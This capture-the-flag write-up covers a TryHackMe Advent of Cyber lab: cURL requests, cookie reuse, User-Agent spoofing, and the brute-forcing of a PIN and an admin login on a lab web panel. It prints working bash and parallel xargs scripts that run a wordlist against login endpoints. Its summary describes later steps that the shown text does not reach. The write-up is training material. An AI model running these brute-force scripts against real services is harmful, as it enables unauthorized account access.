THM | AoC 2025 | Day 24

Day-24: Exploitation with cURL - Hoperation Eggsploit
SUMMARY
We begin by mastering cURL fundamentals, learning how to send HTTP requests, POST data, and manage cookies for session persistence. We practice these basics through four initial questions, where we send POST requests with credentials, save and reuse cookies, perform password brute-forcing, and bypass user-agent checks.
For the bonus challenge, we start by enumerating the target server's endpoints using a custom User-Agent header and discover five key endpoints (info, login, pin, status, and close).
We then execute a five-step attack plan. First, we brute-force the PIN using a bash loop script. Next, we verify the PIN's validity by including the resulting
operation_tokenin a request to the status endpoint, which reveals that the username is admin and confirms the token works.
Moving on, we prepare to brute-force the login credentials by extracting the
rockyou.txtwordlist, but we quickly realize the computational challenge: with 14.3 million password entries and only 130 attempts per second even with parallelization, the task would take over 30 hours. We acknowledge this impracticality for a CTF and proceed with the known password:stellaris61.
We then verify that the login works and save the session cookie. Finally, we attempt to close the wormhole by sending both the session cookie and operator token, but we discover we need an additional
X-Forceheader. We test with the valueclose, and the wormhole successfully closes.

Exploitation with cURL - Hoperation Eggsploit
- TL;DR: The evil Easter bunnies operate a web control panel that holds the wormhole open. Using cURL, identify the endpoints, send the required requests, and shut the wormhole once and for all.
- Original Room: TryHackMe | Advent of Cyber 2025 | DAY 24 - Exploitation with cURL - Hoperation Eggsploit
STORYLINE
"The blue team must shut down a wormhole control panel on the Evil Bunnies' web server using command-line tools and cURL to send HTTP requests and find the endpoints needed to close the portal before facing King Malhare."
THEORY
cURL Basics
HTTP is the protocol browsers use to request resources from servers. cURL is a command-line tool that lets you send HTTP requests directly from the terminal, making it ideal for precise control when GUI tools aren't available.
Sending an HTTP Request
┌──(user㉿kali)-[~/0-PLACE]
└─$ curl http://10.114.176.251 -v
* Trying 10.114.176.251:80...
* Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 34310
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 77
< Content-Type: text/html; charset=UTF-8
<
Welcome to the cURL practice server!
Try sending a POST request to /post.php
* Connection #0 to host 10.114.176.251:80 left intact
┌──(user㉿kali)-[~/0-PLACE]
└─$
Sending a POST Request
- the data is sent in URL-encoded format
- add additional fields if necessary:
-d "username=user&password=user&submit=Login"
┌──(user㉿kali)-[~/0-PLACE]
└─$ curl -X POST -d "username=user&password=user" http://10.114.176.251/post.php -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.114.176.251:80...
* Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 48190
* using HTTP/1.x
> POST /post.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
> Content-Length: 27
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 27 bytes
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Content-Length: 21
< Content-Type: text/html; charset=UTF-8
<
Invalid credentials.
* Connection #0 to host 10.114.176.251:80 left intact
┌──(user㉿kali)-[~/0-PLACE]
└─$
Saving Cookies and working with Sessions
- web applications use cookies to keep your session active once you log in
- browsers sends them automatically with every request, you need to manually include it with curl
Saving the cookies
┌──(user㉿kali)-[~/0-PLACE]
└─$ curl -c cookies.txt -d "username=admin&password=admin" http://10.114.176.251/session.php -v
* Trying 10.114.176.251:80...
* Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 45682
* using HTTP/1.x
> POST /session.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
> Content-Length: 29
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 29 bytes
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
* Added cookie PHPSESSID="k3pud8mcnqllu9816s2ba8kp22" for domain 10.114.176.251, path /, expire 0
< Set-Cookie: PHPSESSID=k3pud8mcnqllu9816s2ba8kp22; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 21
< Content-Type: text/html; charset=UTF-8
<
Invalid credentials.
* Connection #0 to host 10.114.176.251:80 left intact
┌──(user㉿kali)-[~/0-PLACE]
└─$ cat cookies.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
10.114.176.251 FALSE / FALSE 0 PHPSESSID k3pud8mcnqllu9816s2ba8kp22
┌──(user㉿kali)-[~/0-PLACE]
└─$
Reuse saved cookies
┌──(user㉿kali)-[~/0-PLACE]
└─$ curl -b cookies.txt http://10.114.176.251/session.php -v
* Trying 10.114.176.251:80...
* Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 35520
* using HTTP/1.x
> GET /session.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
> Cookie: PHPSESSID=k3pud8mcnqllu9816s2ba8kp22
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 45
< Content-Type: text/html; charset=UTF-8
<
Please log in first by POSTing to this page.
* Connection #0 to host 10.114.176.251:80 left intact
┌──(user㉿kali)-[~/0-PLACE]
└─$
Automating Login Brute-Forcing
Create wordlist for potential passwords
┌──(user㉿kali)-[~/0-PLACE]
└─$ nano passwords.txt
┌──(user㉿kali)-[~/0-PLACE]
└─$ cat passwords.txt
admin123
password
letmein
secretpass
secret
┌──(user㉿kali)-[~/0-PLACE]
└─$
Create Brute-Forcing Bash Script
for pass in $(cat passwords.txt); do
echo "Trying password: $pass"
response=$(curl -s -X POST -d "username=admin&password=$pass" http://10.114.176.251/bruteforce.php)
if echo "$response" | grep -q "Welcome"; then
echo "[+] Password found: $pass"
break
fi
done
Add execute permission to the sript
┌──(user㉿kali)-[~/0-PLACE]
└─$ chmod +x loop.sh
┌──(user㉿kali)-[~/0-PLACE]
└─$ ls -hla loop.sh
-rwxrwxr-x 1 user user [REDACTED-TIME] loop.sh
┌──(user㉿kali)-[~/0-PLACE]
└─$
Run Brute Force Simulation
┌──(user㉿kali)-[~/0-PLACE]
└─$ ./loop.sh
Trying password: admin123
Trying password: password
Trying password: letmein
Trying password: secretpass
[+] Password found: secretpass
┌──(user㉿kali)-[~/0-PLACE]
└─$
Bypassing User-Agent Checks
Specify a custom User-Agent
┌──(user㉿kali)-[~/0-PLACE]
└─$ curl -A "internalcomputer" http://10.114.176.251/ua_check.php -v
* Trying 10.114.176.251:80...
* Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 44936
* using HTTP/1.x
> GET /ua_check.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: internalcomputer
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-DATE]
< Server: Apache/2.4.52 (Ubuntu)
< Content-Length: 27
< Content-Type: text/html; charset=UTF-8
<
Welcome Internal Computer!
* Connection #0 to host 10.114.176.251:80 left intact
┌──(user㉿kali)-[~/0-PLACE]
└─$
Q & A
Question-1: Make a POST request to the /post.php endpoint with the username admin and the password admin. What is the flag you receive?
[REDACTED-FLAG]
┌──(user㉿kali)-[~/0-PLACE]
└─$ curl -X POST -d "username=admin&password=admin" http://10.114.176.251/post.php -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.114.176.251:80...
* Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 58440
* using HTTP/1.x
> POST /post.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
> Content-Length: 29
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 29 bytes
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Content-Length: 47
< Content-Type: text/html; charset=UTF-8
<
Login successful!
Flag: [REDACTED-FLAG]
* Connection #0 to host 10.114.176.251:80 left intact
┌──(user㉿kali)-[~/0-PLACE]
└─$
Question-2: Make a request to the /cookie.php endpoint with the username admin and the password admin and save the cookie. Reuse that saved cookie at the same endpoint. What is the flag your receive?
[REDACTED-FLAG]
Let's first create the request and save the cookies in cookie.txt:
┌──(user㉿kali)-[~/0-PLACE]
└─$ curl -c cookies.txt -d "username=admin&password=admin" http://10.114.176.251/cookie.php -v
* Trying 10.114.176.251:80...
* Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 49638
* using HTTP/1.x
> POST /cookie.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
> Content-Length: 29
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 29 bytes
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
* Added cookie PHPSESSID="bog61mbo4qd98lpcu3co3jclfi" for domain 10.114.176.251, path /, expire 0
< Set-Cookie: PHPSESSID=bog61mbo4qd98lpcu3co3jclfi; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 30
< Content-Type: text/html; charset=UTF-8
<
Login successful. Cookie set.
* Connection #0 to host 10.114.176.251:80 left intact
┌──(user㉿kali)-[~/0-PLACE]
└─$
Next, we check and verify the saved cookies:
┌──(user㉿kali)-[~/0-PLACE]
└─$ cat cookies.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
10.114.176.251 FALSE / FALSE 0 PHPSESSID bog61mbo4qd98lpcu3co3jclfi
┌──(user㉿kali)-[~/0-PLACE]
└─$
Lastly, we reuse the saved cookies:
┌──(user㉿kali)-[~/0-PLACE]
└─$ curl -b cookies.txt http://10.114.176.251/cookie.php -v
* Trying 10.114.176.251:80...
* Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 57932
* using HTTP/1.x
> GET /cookie.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
> Cookie: PHPSESSID=bog61mbo4qd98lpcu3co3jclfi
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 54
< Content-Type: text/html; charset=UTF-8
<
Welcome back, admin!
Flag: [REDACTED-FLAG]
* Connection #0 to host 10.114.176.251:80 left intact
┌──(user㉿kali)-[~/0-PLACE]
└─$
Question-3: After doing the brute force on the /bruteforce.php endpoint, what is the password of the admin user?
secretpass
Let's re-run the login brute-forcing script:
┌──(user㉿kali)-[~/0-PLACE]
└─$ ./loop.sh
Trying password: admin123
Trying password: password
Trying password: letmein
Trying password: secretpass
[+] Password found: secretpass
┌──(user㉿kali)-[~/0-PLACE]
└─$
Question-4: Make a request to the /agent.php endpoint with the user-agent TBFC. What is the flag your receive?
[REDACTED-FLAG]
┌──(user㉿kali)-[~/0-PLACE]
└─$ curl -A "TBFC" http://10.114.176.251/agent.php -v
* Trying 10.114.176.251:80...
* Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 44870
* using HTTP/1.x
> GET /agent.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: TBFC
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Content-Length: 38
< Content-Type: text/html; charset=UTF-8
<
Flag: [REDACTED-FLAG]
* Connection #0 to host 10.114.176.251:80 left intact
┌──(user㉿kali)-[~/0-PLACE]
└─$
Bonus
Bonus-Question: Can you solve the Final Mission and get the flag?
No answer needed
Notes
- use "rockyou.txt" for brute forcing password
- PIN is between 4000 and 5000
- Server:
http://10.113.183.49/terminal.php?action=panel
Recon & Enumeration
Let's start out with a simple GET Request:
┌──(user㉿kali)-[~]
└─$ curl http://10.113.183.49/terminal.php?action=panel -v
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 53000
* using HTTP/1.x
> GET /terminal.php?action=panel HTTP/1.1
> Host: 10.113.183.49
> User-Agent: curl/8.19.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=6sioacnfvbpjll51ihct5jf410; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 106
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.113.183.49:80 left intact
<h2>Access denied</h2><p>This admin panel is terminal-only and is only accessible using secretcomputer</p>
┌──(user㉿kali)-[~]
└─$
The Reply nudges us to use a custom User-Agent named "secretcomputer", so let's modify our request accordingly:
┌──(user㉿kali)-[~]
└─$ curl -A secretcomputer http://10.113.183.49/terminal.php?action=panel -v
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 54126
* using HTTP/1.x
> GET /terminal.php?action=panel HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=ugmh9g48hh14mel4fbo68el5l6; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 512
< Content-Type: application/json
<
{
"service": "Wormhole Control Panel",
"endpoints": {
"\/terminal.php?action=info": "Public info",
"\/terminal.php?action=login": "POST: username,password",
"\/terminal.php?action=pin": "POST: attempt PIN to get temporary admin token",
"\/terminal.php?action=status": "GET: wormhole status",
"\/terminal.php?action=close": "POST: close wormhole"
},
"note": "This panel only answers to terminal user agents. Use the endpoints to fully close the wormhole."
* Connection #0 to host 10.113.183.49:80 left intact
}
┌──(user㉿kali)-[~]
└─$
Great, now we have some endpoints we can enumerate:
┌──(user㉿kali)-[~]
└─$ curl -A secretcomputer http://10.113.183.49/terminal.php?action={info,login,pin,status,close} -v
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 57662
* using HTTP/1.x
> GET /terminal.php?action=info HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=jjtcim1kkequr0nvmcqidepu77; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 205
< Content-Type: application/json
<
{
"title": "Bunny Control Panel",
"desc": "The rabbits hide the wormhole state and protect closure behind both a session and a token. You will need to authenticate and obtain the operator token."
* Connection #0 to host 10.113.183.49:80 left intact
}* Reusing existing http: connection with host 10.113.183.49
> GET /terminal.php?action=login HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 400 Bad Request
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=5r3504imnkitubs73vmqnvo14f; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 53
< Connection: close
< Content-Type: application/json
<
{
"error": "POST username & password required."
* shutting down connection #0
}* Hostname 10.113.183.49 was found in DNS cache
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 57676
* using HTTP/1.x
> GET /terminal.php?action=pin HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 400 Bad Request
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=ptk7q70g279odg04u1f1jihgk7; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 74
< Connection: close
< Content-Type: application/json
<
{
"error": "POST pin required. ex: curl -X POST -d \"pin=1234\" ..."
* shutting down connection #1
}* Hostname 10.113.183.49 was found in DNS cache
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 57684
* using HTTP/1.x
> GET /terminal.php?action=status HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=5ub28n5kjfeb984ganoqecpdqv; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 107
< Content-Type: application/json
<
{
"wormhole": "OPEN",
"note": "Admin information hidden. Authenticate and obtain operator token."
* Connection #2 to host 10.113.183.49:80 left intact
}* Reusing existing http: connection with host 10.113.183.49
> GET /terminal.php?action=close HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 400 Bad Request
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=ae5fsjutfetnvc4hk0i8s5i8bf; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 51
< Connection: close
< Content-Type: application/json
<
{
"error": "POST required to close wormhole."
* shutting down connection #2
}
┌──(user㉿kali)-[~]
└─$
So, to sum it up, we have:
| ENDPOINT | RESPONSE |
|---|---|
/terminal.php?action=info | "title": "Bunny Control Panel", "desc": "The rabbits hide the wormhole state and protect closure behind both a session and a token. You will need to authenticate and obtain the operator token." |
/terminal.php?action=login | "error": "POST username & password required." |
/terminal.php?action=pin | "error": "POST pin required. ex: curl -X POST -d "pin=1234" ..." |
/terminal.php?action=status | "wormhole": "OPEN", "note": "Admin information hidden. Authenticate and obtain operator token." |
/terminal.php?action=close | "error": "POST required to close wormhole." |
Given the information we receive on the ?action=info Endpoint, the idea is to:
- Step-1 | Brute-Force PIN at the
?action=pinEndpoint - Step-2 | Verify PIN/Save token (after sucessfully brute-forcing the pin) and reuse it for following requests
- Step-3 | Brute-Force Login - authenticate to the login at the
?action=loginEndpoint - Step-4 | Verify Cookie/Obtain Session cookie with successful login - save cookie - reuse cookie for following requests
- Step-5 | Close the wormhole by sending both the correct cookie and the token
Brute-Force PIN
Let's start with a sample POST request:
┌──(user㉿kali)-[~]
└─$ curl -A secretcomputer -X POST -d "pin=1234" http://10.113.183.49/terminal.php?action=pin -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 42120
* using HTTP/1.x
> POST /terminal.php?action=pin HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> Content-Length: 8
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 8 bytes
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=b4sh596j8qpqnlq0pqe6gavmhu; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 74
< Content-Type: application/json
<
{
"status": "fail",
"msg": "Incorrect PIN",
"attempts": null
* Connection #0 to host 10.113.183.49:80 left intact
}
┌──(user㉿kali)-[~]
└─$
First we create a workspace for the following tasks:
┌──(user㉿kali)-[~]
└─$ mkdir 0place
┌──(user㉿kali)-[~]
└─$ cd 0place/
┌──(user㉿kali)-[~/0place]
└─$ ll
total 0
┌──(user㉿kali)-[~/0place]
└─$
Let's use the sample request as the base and the previously introduced loop.sh as the template to create a PIN brute-forcing script:
for pin in {4000..5000}; do
# echo "Trying PIN: $pin"
response=$(curl -s -A secretcomputer -X POST -d "pin=$pin" http://10.113.183.49/terminal.php?action=pin)
if echo "$response" | grep -q '"status": "fail"'; then
continue
else
echo "Pin Found: $pin"
break
fi
done
Save the script as brute-pin.sh, make it executable with chmod +x brute-pin.sh and finally, run it:
┌──(user㉿kali)-[~/0place]
└─$ chmod +x brute-pin.sh
┌──(user㉿kali)-[~/0place]
└─$ ./brute-pin.sh
Pin Found: 4731
┌──(user㉿kali)-[~/0place]
└─$
Verify PIN
Great, we have a valid PIN, let's see what the response is for the correct PIN:
┌──(user㉿kali)-[~/0place]
└─$ curl -A secretcomputer -X POST -d "pin=4731" http://10.113.183.49/terminal.php?action=pin -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 48380
* using HTTP/1.x
> POST /terminal.php?action=pin HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> Content-Length: 8
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 8 bytes
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=ctd7s8v12snkdgkjatehhu9paf; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 199
< Content-Type: application/json
<
{
"status": "ok",
"operator_token": "23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848",
"note": "This token is valid for the day. Use it as Bearer or X-Operator header."
* Connection #0 to host 10.113.183.49:80 left intact
}
┌──(user㉿kali)-[~/0place]
└─$
Great, let's note down the operation_token and see if we can verify it's validity by crafting a request to the ?action=status Endpoint and including it with:
-H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848"
Let's send the request:
┌──(user㉿kali)-[~/0place]
└─$ curl -A secretcomputer -H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848" http://10.113.183.49/terminal.php?action=status -v
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 36586
* using HTTP/1.x
> GET /terminal.php?action=status HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=dlet7lapspur6s8m9gjj1m32r8; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 165
< Content-Type: application/json
<
{
"wormhole": "OPEN",
"reinforcements": "ENABLED",
"last_update": "[REDACTED-TIME]",
"is_admin": "true",
"operator_token_valid": true
* Connection #0 to host 10.113.183.49:80 left intact
}
┌──(user㉿kali)-[~/0place]
└─$
It seems to be valid, given the response. Also, checking the differences between the original response:
"wormhole": "OPEN",
"note": "Admin information hidden. Authenticate and obtain operator token."
and the new response (where the valid operation token is included):
{
"wormhole": "OPEN",
"reinforcements": "ENABLED",
"last_update": "[REDACTED-TIME]",
"is_admin": "true",
"operator_token_valid": true
}
With this, we not only verify the token validity but we can also use the field "is_admin": "true" to infer the username (admin) for the Login at the ?action=login Endpoint.
Brute Force Login
First, let's prepare the wordlist (rockyou.txt) and copy it over to our current working directory and extract it:
┌──(user㉿kali)-[~/0place]
└─$ sudo cp /usr/share/wordlists/rockyou.txt.gz .
┌──(user㉿kali)-[~/0place]
└─$ gunzip rockyou.txt.gz
┌──(user㉿kali)-[~/0place]
└─$ ls -hla
total 134M
drwxrwxr-x 2 user user 4.0K [REDACTED-TIME] .
drwx------ 20 user user 4.0K [REDACTED-TIME] ..
-rwxrwxr-x 1 user user 287 [REDACTED-TIME] brute-pin.sh
-rw-r--r-- 1 user user 134M [REDACTED-TIME] rockyou.txt
┌──(user㉿kali)-[~/0place]
└─$
Next, verify everything works as intended:
┌──(user㉿kali)-[~/0place]
└─$ head -n 10 rockyou.txt
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
┌──(user㉿kali)-[~/0place]
└─$
Great, moving on, let's create a sample POST request to the specified Endpoint (?action=login), and with the inferred username (admin), and see how it behaves:
┌──(user㉿kali)-[~/0place]
└─$ curl -A secretcomputer -X POST "username=admin&password=admin" http://10.113.183.49/terminal.php?action=login -v
* URL rejected: Bad hostname
curl: (3) URL rejected: Bad hostname
* Trying 10.113.183.49:80...
* Established connection to 10.113.183.49 (10.113.183.49 port 80) from 192.168.171.248 port 58978
* using HTTP/1.x
> POST /terminal.php?action=login HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: [REDACTED-TIME]
< Server: Apache/2.4.52 (Ubuntu)
< Set-Cookie: PHPSESSID=g7luatimd0saj13m8f7bv7udjs; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 59
< Content-Type: application/json
<
{
"status": "fail",
"msg": "Invalid credentials."
* Connection #0 to host 10.113.183.49:80 left intact
}
┌──(user㉿kali)-[~/0place]
└─$
Using this sample, let's prepare brute-forcing script using the previously prepared loop.sh script as the template. Our goal is to automatically cycle through the passwords in the rockyou.txt wordlist:
for pass in $(cat rockyou.txt); do
response=$(curl -s -A secretcomputer -X POST -d "username=admin&password=$pass" http://10.113.183.49/terminal.php?action=login)
if echo "$response" | grep -q '"status": "fail"'; then
continue
else
echo "$response"
break
fi
done
Complexity Issue
But we face an issue here, namely, the only hints regarding brute-forcing the ?action=login endpoint are:
- username is probably admin given the hint from the
?action=statusendpoint:"is_admin": "true", - password is probably inside the
rockyou.txtwordlist
BUT..., the password wordlist has over 14 Million (14.344.392) entries:
┌──(user㉿kali)-[~/0place]
└─$ wc -l rockyou.txt
14344392 rockyou.txt
┌──(user㉿kali)-[~/0place]
└─$
That means, if we attempt to try each one of them, with let's say, 3 attempts per seconds - like with the previous script brute-login.sh - we arrive at:
- 14344392 attempts / 3 attempt/sec / 60 (convert-to-minutes) / 60 (convert-to-hours) / 24 (convert-to-days) = ~55 days
┌──(user㉿kali)-[~/0place]
└─$ python -c "print(14344392/3/60/60/24)"
55.34101851851852
┌──(user㉿kali)-[~/0place]
└─$
Well, running our script for 55 days straigh is simply not feasible... Can we do better? Well, let's try to parallelize (make it concurrent) so that multiple threads/processes make the attempt at the same time.
Here is an attempt running it on 20 processes:
#!/bin/bash
cat rockyou.txt | xargs -P 20 -I {} bash -c '
pass="{}"
response=$(curl -s -A secretcomputer -X POST -d "username=admin&password=$pass" http://10.113.183.49/terminal.php?action=login)
if ! echo "$response" | grep -q "\"status\": \"fail\""; then
echo "$response"
break
fi'
But how much faster are we really? Let's try and do a little bit of benchmarking. The idea is to measure how fast we can make the first 1000 attempts and from there calculate how many attempts we can make in 1 second:
#!/bin/bash
start_time=$(date +%s%N)
head -n 1000 rockyou.txt | xargs -P 100 -I {} bash -c '
pass="{}"
response=$(curl -s -A secretcomputer -X POST -d "username=admin&password=$pass" http://10.113.183.49/terminal.php?action=login)
if ! echo "$response" | grep -q "\"status\": \"fail\""; then
echo "$response"
break
fi
echo "42" >> /tmp/attempt_counter.txt'
end_time=$(date +%s%N)
total_attempts=$(wc -l < /tmp/attempt_counter.txt)
elapsed_seconds=$(echo "scale=3; ($end_time - $start_time) / 1000000000" | bc)
attempts_per_second=$(echo "scale=2; $total_attempts / $elapsed_seconds" | bc)
echo "Total attempts: $total_attempts"
echo "Elapsed time: $elapsed_seconds seconds"
echo "Attempts per second: $attempts_per_second"
rm /tmp/attempt_counter.txt
Let's save it, make it executable and finally, run it:
┌──(user㉿kali)-[~/0place]
└─$ chmod +x benchmark_brute-login_parallel.sh
┌──(user㉿kali)-[~/0place]
└─$ ./benchmark_brute-login_parallel.sh
Total attempts: 1000
Elapsed time: 34.189 seconds
Attempts per second: 29.24
┌──(user㉿kali)-[~/0place]
└─$
Around 30 attempts/second...That's still over 5 days...Let's try with 100 processes:
┌──(user㉿kali)-[~/0place]
└─$ ./benchmark_brute-login_parallel.sh
Total attempts: 1000
Elapsed time: 7.496 seconds
Attempts per second: 133.40
┌──(user㉿kali)-[~/0place]
└─$
Over 130 attempts per seconds...Hmm...Let's calculate it:
┌──(user㉿kali)-[~/0place]
└─$ python -c "print(14344392/130/60/60)"
30.650410256410257
┌──(user㉿kali)-[~/0place]
└─$
